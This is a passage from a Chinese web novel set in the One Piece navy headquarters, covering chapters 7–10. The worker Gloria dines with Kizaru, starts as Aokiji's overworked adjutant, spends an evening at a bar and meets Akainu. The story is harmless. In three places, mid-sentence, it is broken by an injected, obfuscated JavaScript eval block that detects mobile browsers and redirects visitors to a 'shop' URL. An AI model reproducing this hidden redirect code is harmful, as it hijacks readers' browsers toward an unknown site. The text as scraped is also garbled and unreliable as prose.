《在海军本部发疯》 7. 第 7 章 歌莉娅在战国办公室折腾了好一会，早就过了饭点，虽然食堂的饭菜是全天不间断供应的，但过了饭点出餐的速度就全看运气。 她一路狂奔，就为了早点吃上一口热饭，早一分钟吃上饭也是好的，一早上她就吃了一个包子一个仙贝，这两个玩意和零嘴有什么区别，她都能感觉到自己的胃部都在抽搐了。 这时，食堂已经没什么人在。 毕竟早就过了饭点，大部分海军早就吃完回去，只有零星几个和歌莉娅一样加班没赶上饭点的倒霉蛋在满脸疲倦地在机械式塞饭到嘴里。 一阵强烈的头晕目眩向歌莉娅袭来，眼前的画面模糊成一团，她扶着墙壁长呼一口气缓了缓，等晕眩感减弱后直奔点餐窗口。 再吃不到饭，她真的要死了，能跑到这里来全凭意志力在坚持。 等歌莉娅到达食堂就看见点餐窗口前侧站着一个身披着正义披风的高大男人正要对厨师说点什么，她想都没想一个健步径直挤在在对方前头，嘴里说着抱歉的话，但眼神都没分给后面的男人，手指关节敲了敲桌面将厨师注意力抢过来就开始点单。 “我要这个！加量！加肉！还有最重要是快！” “黄猿桑，行行好吧！让让我吧！再吃不到饭，我就要饿死了！你就要光速送我去医务室了！” 厨师用不可置信的目光注视着歌莉娅，下巴都快掉地上了——这个光天化日就敢明目张胆敢插队黄猿大将的海军到底是何方神圣！？ 半响过后，厨师终于认出歌莉娅来，他咽了咽口水，这位他也是惹不起。 于是他小心翼翼望向波鲁萨利诺，对方笑眯眯的朝他点点头，完全没对这种行径表达什么不满，这下他终于安心地将面条下锅。 “哦呀～脸色真差~” 波鲁萨利诺双手插裤兜，垂下眼眸不动声色地打量了一下歌莉娅在灯光下显得更加惨白的脸色。 歌莉娅身体发软地靠在墙边，闻着食物的香气感觉更饿了，她摸了摸平坦的小腹后将一颗糖塞进嘴里含着，有气无力地应了声，“你饿着也不会有什么好脸色吧？” 她的脑子里现在只有吃饭的念头，理智开始摇摇欲坠，再吃不到饭她自己都不知道自己会干出什么来。 这已经不是她第一次赶着上班没来得及吃早餐，不懂为什么今天就特别饿了呢，难不成是因为昨晚没有吃宵夜吗？ 一边思考着，歌莉娅又往嘴里继续塞了一颗糖果。 或许是因为窗口前站着两尊大神，厨师以前所未有的速度出餐，很快就将一碗加大量热气腾腾的拉面捧出来。 歌莉娅的注意力一下子被转移，心里眼里都只有那碗放满肉的拉面，她迫不及待端着拉面就往一边去，彻底忘记身后的波鲁萨利诺，现在什么都没有吃饭重要。 波鲁萨利诺对着厨师说了一句后也随歌莉娅一同坐下，他翘着二郎腿盯着歌莉娅狼吞虎咽的样子，推了推茶色的墨镜，语气戏谑打趣着，“哦呀~这个点才来吃饭，歌莉娅酱还真是敬业捏~” 现在可是午休时间都快过了，他是慢悠悠避开人流高峰才过来的，但歌莉娅明显不是。 歌莉娅吞咽着嘴里的面条，抬眸瞥了波鲁萨利诺一眼，她怎么觉得这人在阴阳她呢？ 但嘴里忙碌着，她并没有放下吃饭这头号要事展开反击，只是用眼神表示着一个意思——你是不是有病？ 她又不是犯贱，怎么可能热爱工作。 波鲁萨利诺也没打算等歌莉娅回话，他紧接着继续道，“真是羡慕库赞君啊……” 歌莉娅好不容易咽下嘴里的拉面，肚子总算没有咕咕作响，“这话该我问你吧？大将大人日理万机，居然还亲自来吃饭，还真是辛苦你呢~” 她模仿了波鲁萨利诺的语气反击，但就这么一句都差点把她的舌头卷抽筋了，说完她的脸就皱成一团，吐了吐舌头。 真难为黄猿天天这么说话了。 “等等！？我才从战国元帅办公室出来，你这就知道了？” 饥饿感让歌莉娅整个人都反应迟钝，她愣了愣才反应过来黄猿后半句的意思，她咬断嘴里的面条猛地重新抬起头震惊地看向波鲁萨利诺。 这消息是不是传得有点过于迅速，海军本部还能不能给她留点隐私了！怎么什么都传得这么快！ 波鲁萨利诺瞥了一眼歌莉娅嘴边的酱汁轻笑了一声，他随手抽了一下纸巾递给对方，语气慢悠悠地，“这不是很正常吗？毕竟老夫可是吃了闪闪果实呢~” “是是是！伟大航路最快的男人非你莫属了！”歌莉娅接过纸巾擦了擦溅到嘴角的汤汁，嘴上敷衍着，又夹了一筷子拉面吹了一口，接着往嘴里送，一边吃一边口齿不清地问道，“你和青雉应该还挺熟的吧？” 既然黄猿都主动说起这个话题，她也正好问问，黄猿和库赞都同事多年了，不可能对对方一无所知，更何况是黄猿这种老狐狸。 “嗯？这是想提前打探库赞君的信息吗？”波鲁萨利诺不正面回答歌莉娅的问题，反而托腮饶有兴趣地打量着歌莉娅反问起来。 他昨天才听说歌莉娅闹出来的事情，没想到今天这么快对方就被调到库赞手下去了，这其中没有猫腻他才不相信呢~ 调职流程哪有这么快，正常就算加急再加急也要一个星期左右。 “嗯……算是吧？” 说话间，歌莉娅将一碗拉面全部吃完，正好第二碗拉面和波鲁萨利诺的一起做好，被放置在出餐口，还没有等她过去取，刺眼的光亮从眼前一闪而过，她条件反射地阖上双眸躲避刺眼的光芒，等重新睁开眼的时候，两碗拉面已经分别放在她和波鲁萨利诺面前。 “谢了。”歌莉娅吃完一碗拉面以后已经不算太饿了，她手肘撑在桌面支着下巴神色认真盯着波鲁萨利诺看，“所以青雉——” “——的部门工作量大吗！？” 以为对方会问库赞的性格，是不是好相处等问题的波鲁萨利诺愣了一下，随即嘴角微微翘起，轻笑了一声，“噗呲~这倒不清楚，不过老夫看小学弟不是很忙碌的样子~” 果然是歌莉娅会关心的问题。 毕竟每次加完班来到酒馆喝酒，歌莉娅身上的怨气简直要具现化了，可想而知她有多讨厌加班。 歌莉娅闻言翻了个白眼，“青雉不忙碌不代表他的部门不忙碌啊！我还不懂你们这些该死的老板们吗！？” 上司准时下班，下属加班加成狗的比比皆是，她前几任的上司就是喜欢这样子干的狗东西。 “老板？这该不会是在说老夫吧~？”波鲁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16160822|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萨利诺他慢悠悠将筷子掰开，挑起一筷子面，发出吸溜的声音，“不过库赞负责的北海是四海之中最难搞的～” 和伟大航路管理方式不一样，四海的海军直接汇报对象是三大将，其中北海是四海之中最强海域，各种怪物层出不穷，北海也自然不可能平静。 歌莉娅叹气，之前卢卡不过负责北海一部分岛屿的管理，工作量已经不小，她不敢想象整个北海的工作量会如何可观，更别提库赞肯定不止负责北海一个海域的事情，稍微深思一下就让人头痛。 她怎么这么命苦呢！ “算了，实在干不下去大不了回村钓鱼吧！” 歌莉娅叹了口气，第一百零一次发表自己早晚辞职的言论。 她也不是很想打这份工，要不是没钱谁想上班呢，熬到艾斯和路飞出海赚钱她也就可以彻底躺平环游世界了吧？ 她美好的期盼着。 如果让她上班上到卡普这个年纪，她真的会发疯的。 “老夫的部门就挺闲的，你真的不考虑一下吗~？” 上次歌莉娅提出的那个想法，贝加庞克已经有初步雏形了，并且向波鲁萨利诺称赞歌莉娅，觉得她的想法很有创意，一看就是搞科研的料子。 歌莉娅想象了一下画面，忍不住哀嚎了一声，“……拜托！让我们的关系单纯一点吧，要不然下班喝酒看到你的脸都要喝不下了。” 她会和波鲁萨利诺结识完全是起源于两人在同一家酒馆喝酒，碰面的次数多了逐渐就演变为酒友关系，后面她才知道这个外表奇怪的男人居然是海军本部大将。 虽说波鲁萨利诺是大将，但毕竟只是隔壁部门的领导，所以她还敢和波鲁萨利诺口嗨一下，可是一旦变成自己上司的话——下班时间还和领导在一起绝对是噩梦级别的，这和全天候上班有什么区别呢？ “你这话真让老夫伤心呢～” 波鲁萨利诺脸上不见半点伤心，慢条斯理地挑起面条，拉面冒出来的热气氤氲而起。 歌莉娅早就习惯波鲁萨利诺这种说话方式，无所谓地耸耸肩，用渣男语录反击着，“你要这样子想我也没办法。” 她两三口就将剩余的拉面吃完，终于脱离饥饿状态，她打了个呵欠，感觉自己眼睛都快睁不开了。 吃饱了就困也是人之常情，但现在已经早过了午休时间，回去办公室也没办法午睡了。 须臾间，她盘算好目前工作进度，做出了决定。 “我要下班了！”歌莉娅用力拍了一下桌子，猛地站起身，“困死了，我要回去睡觉！” 昨天从香波地群岛回来已经很晚了，她还看完在追的小说，从睡下到起床她没睡几个小时，反正调令明天就生效了，那堆尚未处理完的文书已经和她没有关系了，干脆享受这段没有领导的日子，果断请假回公寓睡觉。 波鲁萨利诺停下吃面，被墨镜挡着的眼眸露出一丝惊讶，他抬头望向玻璃窗外——现在阳光灿烂，离下班时间还早着。 好可怕啊~现在的年轻人可真敢，摸鱼居然比他还厉害~ “哦呀~需要老夫送你回去吗，该不会半路就睡过去吧？” 歌莉娅头也不回地摆摆手，“别找理由摸鱼了，你到点上班了！” 而她！到点下班了！ 8. 第 8 章 第二天，歌莉娅来到库赞办公室外面，正好碰上以前办公室的同事捧着一大叠文件，文件熟悉模样让她不自觉多看了一眼——这怎么那么像她昨天还没有处理完的那叠文书呢？ 最上面的封面还残留一滴咖啡渍，那是她之前喝咖啡的时候不小心滴落的。 对于她的疑问，同事给了她肯定的答复，这就是她还没有处理完的文书。因为卢卡是库赞直属下属，因此原来还没有处理完的工作都会归集到库赞这边来。 天道好循环，苍天饶过谁。 歌莉娅丧着脸接过同事一大叠文书，本以为成功甩出去的工作兜兜转转又重新回到她的手上了。 她眼神沧桑地单手抱着文书，另外一只手敲响库赞办公室的大门，只是她敲了十来下，里面都没有任何回应，反而把隔壁办公室的人敲出来了。 “别敲了别敲了，青雉大将没有那么早来办公室的！” “……” 歌莉娅经历过三任上司，就算后来他们都如何坑爹，但没有一任开局就像库赞这么离谱的，开局就给她吃了一个闭门羹。 她记住了！ …… 库赞打着呵欠弓着背往办公室走，当视线落在办公室门口正抱着文件奋笔疾书的身影时，身体瞬间僵住——他忘记歌莉娅今天第一天来报道了。 歌莉娅感受到停留在自己身上过长时间的视线，她抬起头顺着视线回望过去，正好将库赞脸上尴尬的神色捕捉得一清二楚。 “早啊，歌莉娅小姐……” 库赞抽出揣在裤兜的手，扬了扬，嘴角扯出僵硬的弧度，眼角纹路都带着几分不自在。 “……” 歌莉娅没有说话，只是低头看了看腕间的手表——现在已经十点三十六分，他们上班时间是九点，不早了。 她的沉默震耳欲聋。 库赞试图狡辩，“我平时来得挺早的，今天是特殊情况……” “……” 歌莉娅还是没有说话。 现在她相信库赞没有说谎，他的工作是真的清闲，只不过负重前行的倒霉蛋变成她而已。 等库赞领着歌莉娅进入办公室已经是三分钟之后的事情了，如果不是波鲁萨利诺悠闲地路过，笑眯眯地问他们是不是在cos雕像的话，库赞感觉自己要被歌莉娅的视线射穿了。 库赞主动拿起堆放在门口地板的文件抱进来，他注意到文件上审批栏上娟秀的字迹和潦草粗狂写得乱七八糟的报告格格不入。 各个岛屿的发展度都不一样，教育普及率并不高，海军里面识字率更是参差不齐，更别提写出一手好字。 交上来的报告经常是狗屁不通，各种狗爬字看得库赞本就昏昏欲睡的大脑更加迷糊，导致他经常看着看着就睡着了。 好在前任留下的文职副官挺好的，将一切打理得井井有条，除了签名以外他根本不需要干其他事情，虽然后面对方离职了，但还有梅格顶上，现在就连梅格也不在了…… 大将的事务根本离不开副官协助，就算是萨卡斯基这样的卷王都少不了副官协助，更别提库赞，于是歌莉娅被紧急调来了。 歌莉娅的脚步停在属于她的办公桌前，办公桌擦拭得很干净，看得出来库赞为了她的到来还是做了一定的准备工作的。 和之前与其他人一起坐在大办公室不一样，副官这个职位就是为了辅助海军高级军官存在的，因此副官的办公桌就设在大将办公室里面，库赞坐在位置上只要一抬头就能看到自己的副官。 库赞想要将文件放在桌面，结果被歌莉娅喊停，“这一沓文件已经处理完了，您可以审批了，青雉大将。” “欸？”库赞没想到歌莉娅效率这么高，坐在办公室外面就将文件处理了一部分，他抓了抓头发解释道，“其实我这里的工作也不算多，这些文件也没有那么紧急需要处理。” 现在这样有点奇怪，好像歌莉娅一来，他就给对方下马威一样，逼迫对方大早上就坐在办公室门口开始处理工作。 歌莉娅眼皮都懒得抬，脸上没有半分情绪，一字一句解释着，“这些文件是北海支部的预算审批，如果不在本周四完成的话，采购就没办法在本月完成，下个月支部将没有物资补充。” 北海支部全员去喝西北风，你就说紧急不紧急？ “另外，我的前任是因为什么被迫离岗我还是知道的，青雉大将。” 所以别再狡辩了。 库赞的副官前两天因为胃穿孔倒在办公室被紧急送往海军医院抢救的事情歌莉娅已经打听得一清二楚了。 她已经说过无数次了，海军本部没有秘密。她甚至知道对方是加班途中晕倒的。 就算是这样子，那位梅格大佐还是身残志坚地托人将工作备忘录送过来给她，绝不耽误他敬爱的库青雉大将工作。 觉悟之高简直可以当选感动海军十大人物，今年评选没有梅格她都要举报有黑幕了。 “……”库赞瞬间哑然无声，他确实对梅格不够关心，直到对方住院才知道梅格工作时长有多夸张，工作有多吃力。 他眼神漂移，挠了挠头发生硬地转移话题，“啊啦啦~要来杯咖啡吗？” “办公室咖啡豆已经没了——” “啊？”库赞快步走到柜子前，揭开咖啡罐盖子，里面如同歌莉娅所言空空如也，“我记得上次还有——还有多少来着？” “——新的咖啡豆会在明天到达。” 歌莉娅的声音毫无情绪波动地将梅格的工作备忘录写的念出来。 谁能懂她打开备忘录看到的就是密密麻麻青雉大将的喜好，每天需要为青雉大将准备好什么等等的感觉啊！ 这是什么狂热青雉厨？ 她怀疑要不是医生死死按住梅格不让出院，对方爬也会爬回来给他最尊敬的青雉大将继续鞠躬尽瘁死而后已，然后死在办公室。 “送洗的海军制服今天可以去取。” “沃克中将下午二点前来汇报工作。” …… 歌莉娅将库赞今天需要处理的工作一项项念了出来，其中不乏库赞私人的安排，但歌莉娅就主打一个提醒，想让她像梅格一样帮忙处理，想都不要想，她是来当副官的，不是来当保姆的，那是另外的价钱。 “您还有问题吗，青雉大将？” “……没、没有。” 歌莉娅的模样仿佛和库赞前两天遇到的时候判若两人，无论是烦躁还是愉悦的情绪波动通通消失不见，只剩下冷淡疏离和淡淡的死感。 歌莉娅将已经处理好的那部分文件塞到库赞怀里，“那很好，这部分文件麻烦大将您今天五点前审批完成，可以吧？”语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16160823|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气虽然是疑问句，但话里确实不容置喙的肯定句。 她就是为了今天不加班才迫不及待就在办公室外就开始处理工作的，谁也不能阻止她五点半下班，就算是陨石掉下来了她也能一拳送回去！ “可以……” 眼见库赞很配合的答应了，歌莉娅转身来到办公桌前坐下，办公桌上除了有刚刚拿进来的文书以外，还有几叠分类好的战斗报告。 她拧着眉阅读着支部提交上来的月度战斗报告，再次刷新她对海军的文化水平的认知，之前她大部分审批的都是有模板格式的审批表，支部海军只需要填写审批内容和金额提交就好了。 但战斗报告显然没有那么简单，因此提交上来的内容简直是花样百出，有人写得像日记一样流水账，有人长篇大论写了一大堆没有个重点，更有甚者直接就是狗屁不通，完全不知道在说什么…… 最难受的是她还得眯着眼睛辨认对方到底写个什么东西，说是字都抬举他们了。 歌莉娅盯着文书深呼一口气，太阳穴突突地跳，她现在说自己其实是个文盲，处理不来文书还来得及吗？ 她略带烦躁地往嘴里送了一颗硬糖，一手将遮挡视线的发丝撩到耳后，偶尔抬手揉了揉酸胀的颈项，但目光一直胶着在文书上，时间就这样浑然不觉的流逝着…… 直到醇香的咖啡味弥漫在空气当中，歌莉娅猛地抬头才惊觉库赞正站在办公桌旁，他正端着一杯香气四溢的咖啡放到桌面。 歌莉娅疲惫的眼眸在扫过咖啡的时候露出一丝讶异，“青雉大将？” “真是抱歉了，副官小姐，今天早上我是真的忘记你今天报道了……”骨节分明的手轻轻将马克杯推到歌莉娅面前，里面的冰块随着他的动作发出碰撞的声音，“这就当做给小姐的赔礼吧，这是我特制的冰咖啡~” 作为一个早咖夜酒人士的歌莉娅，在闻到咖啡香味的瞬间紧锁的眉头终于舒展，一直紧绷的嘴角也微微翘起，透着几分轻松，从死人微活模式变更为活人微死模式。 歌莉娅按了按太阳穴，怪不得头痛欲裂，她今天还没有喝过咖啡。 “那就原谅您吧，青雉大将。” 歌莉娅也不是记仇的人，早上那事其实她已经不怎么生气了，毕竟和领导本就没有道理可讲，更何况库赞还主动服软。 如果别人强硬，她只会更强硬，但别人一服软，她的态度也会软和下来，她就是吃软不吃硬。 她端起马克杯轻轻抿了一口，咖啡流入喉咙瞬间抚慰了她的疲惫，她眯起眼睛赞扬着，“好喝！” 咖啡甚至加了双份糖。 歌莉娅微微上扬的尾音让库赞松了一口气，对方总算不是那种冷冰冰、毫无情绪起伏的语气，之前那个样子怪渗人的。 不枉他专门去隔壁办公室借咖啡豆。 “都到这个点了啊？一起去吃饭吗？” “这算上司命令吗？” “欸？不算。” 歌莉娅表情蓦地一变，恢复面无表情的模样，干净利落地拒绝，“那不去！” 开玩笑，休息时间谁还要看到领导，要消化不良了。 紧接着头也不回就往走廊走，快得库赞都没有反应过来，人已经消失在办公室里。 他挠了挠头，喃喃自语道，“啊啦啦……似乎被讨厌呢……” 9.第 9 章 或许是自己给歌莉娅的第一印象太差了，想要扭转她对自己糟糕的印象，今天的库赞难得没有带着眼罩睡懒觉，而是专心致志地处理文书，等他抬手捏了捏鼻梁放松一下的时候才惊觉时钟上的指针已经指向下班时间。 库赞抬眸瞥向歌莉娅的方向——对方正对着文书紧致眉头，时不时拿着签字笔在纸张上落下几笔，一副双耳不闻窗外事的模样。 他吸取之前梅格的经验，决定多关心一下下属，让对方不要一心扑在工作上面，没事就别加班了，“歌莉——” 话还没有说完，库赞就看到歌莉娅将签字笔直接扔在桌面，蹭地一下从座位弹起来，像一阵风一样从办公室退出去。 关门短暂的瞬间，他和歌莉娅的目光直直的对视上，只见歌莉娅终于不板着脸，而是坦荡荡地朝他微微一笑，“青雉大将，再见！” “再——” 歌莉娅再次没等库赞回话，就“啪”地一下将门合上。 “——见……” “啊啦啦，果然是个有性格的小姐~” 库赞将桌面的文书往前推了推，一手懒懒地搭在桌沿，一手掌心向上托着下巴，动作带着几分漫不经心，尾调微微上扬，完全没有被冒犯的不悦。 不过看来他是不用担心歌莉娅会像梅格一样，努力到把自己送进医院去。 …… 下班不积极，脑子有问题。 歌莉娅给自己的手表设置了一个闹钟，在离下班时间还有一分钟的时候手表就会震动，这个时候就算是天塌下来，她也会一拳捶回去让天明天再塌，什么事情都不能妨碍她下班。 还没有冲到打卡机，在走廊拐弯处她就被一把勾住肩膀，要不是及时认出对方是谁，歌莉娅已经一拳挥出去了。 “歌莉娅！” 莫妮卡雀跃的声音在耳边猝不及防地响起。 明明一样上了一天的班，歌莉娅也不懂莫妮卡是怎么样做到精神饱满、元气满满的，她耸拉着眼皮扭头望向对方，静静地着后续。 “下班有事吗？” “有，回家睡——” “那就是没有，我们喝酒去吧！” 莫妮卡毫不客气地拽住歌莉娅的手臂，继续往办公楼外走。 等两人走到商业街时，歌莉娅终于发现不对劲——这不是通往平时她们喝酒酒馆的路。 “这是准备拐卖我吗？” “拜托，谁敢拐卖你，不怕被你一锅端啊？”莫妮卡撇撇嘴，眼皮一翻，“那边新开一家酒吧，最近口碑不错……” “而且重点是——驻唱是个年轻帅哥！” 年轻帅哥，在马林梵多多稀罕啊！海军里平头正脸的都少见，平日真的是辛苦她的眼睛了。 听到这话，这下歌莉娅不用莫妮卡拽着了，还催促莫妮卡走快一点，没有别的意思，她只是迫不及待想听听音乐放松一下而已。 年轻英俊的男人指尖吉他上划动着，用悠扬悦耳的歌声诉说着一个凄美哀婉的爱情故事，唱到情动处男人的眼角闪烁着泪光，几个感情充沛的客人也一同落泪。 “怎么样？帅吧？” “帅！”歌莉娅给予肯定答复，不枉她放弃补觉的时间和莫妮卡来这里，“但是——” “就不能换点别的唱吗？” 唱了一晚上都是凄凄惨惨戚戚的情歌，她是来放松的，上完一天班本来就烦，下班还听这些感觉放松不了一点。 歌莉娅觉得她完全共情不了一点这些无病呻吟的情歌，能有空想这些有的没的，多半是闲的。 莫妮卡吐槽道，“换点别的？难不成还唱什么海军军歌吗？” 她说的是前几次她们去的那家海军主题的酒馆，一进门就听到循环播放的军歌，一种下班了还在上班命苦的错觉油然而生。 “……放过我吧！” 歌莉娅没好气的垂眸抿了一口鸡尾酒，正好错过台上男人若有所思的目光。 “耶~这不是歌莉娅酱和莫妮卡酱吗~？”波鲁萨利诺笑眯眯地晃着手中的酒杯走过来，相当自来熟地坐在歌莉娅身旁的位置，“好巧啊~” 卡座本就不宽敞，波鲁萨利诺高大的身躯一坐下，位置瞬间拥挤起来，他的手臂搭在腿上，手肘若有若无的擦过歌莉娅的膝盖，强烈的压迫感让她不自在的往里挪动身体，和对方拉开距离，但卡座位置有限，就算是往后退，实际上也没拉开多少距离。 歌莉娅的后背贴着墙面，眸子带着惊讶的情绪望向黄猿。 这家酒吧大多都是年轻人，黄猿在这里可以说是格格不入，硬生生拉高了这里的平均年龄。 她绝对没有嫌弃黄猿年纪大的意思，只是有点惊讶而已。 “你怎么样来这了？” 比起清吧，黄猿应该比较喜欢老派的酒馆，他更是其中一家由退役海军开的酒馆的常客，歌莉娅有时候想换换口味去那里，十次去有八次去都能碰上他。 “偶尔换换口味也不错嘛~”波鲁萨利诺放下手中的酒杯，推了推鼻梁上的墨镜，嘴角带着不走心的弧度望向莫妮卡，“鼬鼠君也来了呢~” 闻言，莫妮卡像受惊的鸵鸟一样，猛地以卡座为掩体躲藏起来，“他、他怎么也来了！” “啊！那个老古董怎么也来清吧了！？不行，我要走了！”她可不想又被一顿教训。 说罢，莫妮卡就弯着腰偷偷摸摸快速离开酒吧。 “等、等等！”歌莉娅站起身伸手想要阻止，但波鲁萨利诺翘着二郎腿纹丝不动，让她根本没办法追出去，她没好气的剜了他一眼，反手往他的大腿狠狠拍了一下，“都怪你碍事！莫妮卡肯定想走单才跑那么快的！” 这顿说好了由莫妮卡买单的，结果现在单还没有买，人就跑了。 波鲁萨利诺身体微不可察的僵硬了一下，随即伸手轻轻捏住歌莉娅的手腕往旁边带，指腹像不经意地蹭了蹭细腻的皮肤，眼眸掠过淡淡的笑意。 “既然如此，这顿就由老夫来做东吧~” “喔！那行！”有人买单了，歌莉娅一下子就变得好说话起来了，她将手抽回来，“不过这都怪你逗她……” 黄猿一看就是在说笑，结果莫妮卡还真的条件反射就跑了。 不过也不怪莫妮卡，她有这么严肃，爱教育人的哥哥，她也怕。好在她们家全是不靠谱的，全是大哥就别说二哥了。 既然黄猿答应请客，歌莉娅也不跟他客气，抬手招来服务员又点了一杯鸡尾酒。 点完单她没忍住开始吐槽今天库赞给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16169511|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“开门红”，本来她是想把莫妮卡当垃圾桶的，但现在垃圾桶跑了，只能请罪魁祸首忍忍，负责到底吧。 波鲁萨利诺笑眯眯靠着椅背听歌莉娅的抱怨，时不时还发出奇怪的音调以示自己认真在听，完全没有不耐烦的样子。 歌莉娅疯狂输出一轮，今天的吐槽欲终于得到满足，最后总结着，“原来大将这么爽的吗，甚至不要打卡！”羡慕嫉妒的情绪完全从眼眸溢出来。 要不她也努力去升个职吧? 波鲁萨利诺慢悠悠地喝了一口酒才否定了她的猜测，“要不然老夫也不用每天都这么认真打卡，真是麻烦呢~” 台上一曲终，室内掌声此起彼伏的响起，歌莉娅随大流鼓掌，虽然黄猿来了以后她也没怎么听歌，光顾着吐槽了。 波鲁萨利诺漫不经心的将视线放在舞台上的年轻男人身上，紧接着缓缓扫过舞台附近几个随着男人动作而惊呼的女人，“原来现在年轻小姑娘都喜欢这种类型啊……” 歌莉娅想也没想就回答，“谁不喜欢长得帅的……”她的视线正好和男人对视上，对方朝她温柔一笑，英俊的面容更加夺目，她下意识又补充了一句，“更何况是特别帅的。” 波鲁萨利诺叹了口气，“现在的年轻人都以貌取人，真可怕呢~” “哦？所以黄猿桑原来不喜欢美女啊？” “……老夫——” “原来黄猿桑是注重心灵美的人啊！真看不出来呢……”舞台上的驻唱已经换了一个人，歌莉娅收回目光，丝毫没有觉得不好意思地道，“不像我，我是颜狗，我承认！” 歌莉娅总是对长得好看的人比较宽容。 比如她上辈子的老同学五条悟，如果对方不是长着一张惊天地泣鬼神的帅脸，她早就和这个狗东西绝交了，能维持十来年的友谊完全就因为她对帅哥的宽容。 她的视线上下扫了一下波鲁萨利诺，对方的脸很难让她违心地说出帅气两个字，她吃力地伸手拍了拍对方肩膀，“不过你别灰心，不是每个人都看脸的！”说完她嘴角根本绷不住，一下子低笑出声。 波鲁萨利诺笑眯眯的表情一下子维持不住，“那老夫……谢谢你的安慰？” “哈哈哈！”歌莉娅看到波鲁萨利诺脸上的表情，低笑终于变成了大笑，“上期海军月报评选你可是进了海军最受欢迎的男人前五名，事实证明成熟男人还是有市场的，加油！” 虽然得票最高的全靠海军的汉子们投出来的，海军女士们的真正支持的人反而被压在后面了，导致女士们强烈抗议，要出一期仅限女性投票的排名，拒绝海军男人刷票。 波鲁萨利诺嘴角一抽，他显然也知道自己得票大部分来自哪里。 谁稀罕男人的喜欢。 “哦呀~那歌莉娅酱投谁了？” “……” 还喝着波鲁萨利诺请的酒，歌莉娅实在不好说自己投的不是他，万一他翻脸不买单怎么办，但让她捂着良心说话就不是这个价格啊！ 于是她果断拿起刚刚被送上来的酒，给波鲁萨利诺的空酒杯倒满，“来！黄猿桑，多喝点，今晚你才喝这么点，肯定没喝够！” 喝酒就没空说话了，还是喝酒好！ 喝酒吧，别为难她，她不会撒谎！ 10.第 10 章 时间悄然流逝，一眨眼歌莉娅就已经在库赞手下工作了一个多月。 总得来说，库赞不算一个难侍候的领导，很多事情他根本不会多管，有需要的时候扯他的名头出去也好使，除了时不时在办公室随地大小睡，需要催促才能完成工作以外没什么大问题。 歌莉娅右手轻捂着嘴，不受控制的打了个呵欠，泪珠顺着眼角滑落。 昨晚她又没忍住熬夜看小说，一旦开始不到结局她根本就停不下来，导致凌晨三点才睡下。她的眼皮几乎要睁不开，脑子更是一团浆糊，文书上的文字在眼前犹如天书一般。 等再次控制不住打呵欠时，歌莉娅终于决定放下签字笔，拿起文书退出办公室。今天有份文书需要三名大将共同签名才可以生效，正好出去走走清醒一下头脑。 歌莉娅来到赤犬大将办公室附近，周遭一下子静寂下来，别说声音，连人影都没有，走廊上只回荡着她的脚步声，让她有种错觉自己误入了什么海军禁地。 等到了办公室门前，还没有等她敲门，一个年轻的男人正巧从里面揉着颈项出来，脸上满是疲惫，但当对上她诧异的眸子后疲惫瞬间被收起来，男人轻轻将门合上，才沉声询问。 “是来找赤犬大将的吗？” “对的，我是青雉大将的副官歌莉娅，这里有份文书需要赤犬大将签名确认的。” “青雉大将？哦哦，是接替梅格的啊……我是赤犬大将的副官希尔！”希尔点点头，接过歌莉娅手上的文书，按照惯例让大将签名处理的文书会由副官先进行确认，没问题才提交给大将。 他一目十行地浏览着文书，边看还边点点头，内容写得十分简练清晰，比梅格写得好多了。 “青雉大将终于将剩余的副官位置补上了，之前梅格处理文书还是太吃力了。”希尔和梅格工作交接不算少，两人关系还不错，因此希尔难得多说了两句。 大将按规定可以根据自己的需要配置副官，一般来说都会选择一文一武的副官，而库赞在上任文职的副官离开后一直没有寻找新的副官，原本苦手文书的梅格也只能为了不辜负青雉大将的期待硬着头皮顶上，一人打两份工。 歌莉娅笑了笑没说话。 已经不是吃力的地步了，这段时间足够她查阅了梅格之前处理过的文书，她简直要两眼一黑，怪不得战国元帅这么着急把她调过来，就算梅格不住院，再这样下去，迟早得完蛋。 希尔没打算歌莉娅回话，感叹完后就开始确认文书，确认过没问题他就领着歌莉娅进去办公室。 一进去，歌莉娅就看到办公室正中央带着军帽的男人眉峰紧蹙伏在办公桌前，笔尖在纸张上快速划过，周围的空气仿佛被冻结一样。 这是歌莉娅第一次见到传闻中的赤犬大将，一下子就能理解办公室外面走廊静悄悄的，毕竟谁也不敢在赤犬大将的熔浆高压下喧闹，能绕路通通都绕开这个区域。 希尔对萨卡斯基的低气压似乎习以为常，眼都不眨就开口报告着，“赤犬大将，青雉大将的副官来给你送文书。”他上前将文书放在萨卡斯基的面前。 萨卡斯基颔首，停下原来的工作接过文书，他翻了一下文书就抬起头——锐利的目光扫过来时不自觉带着无形的压迫感，让人不敢与其对视，“这个文书两天前就应该发出去了。” 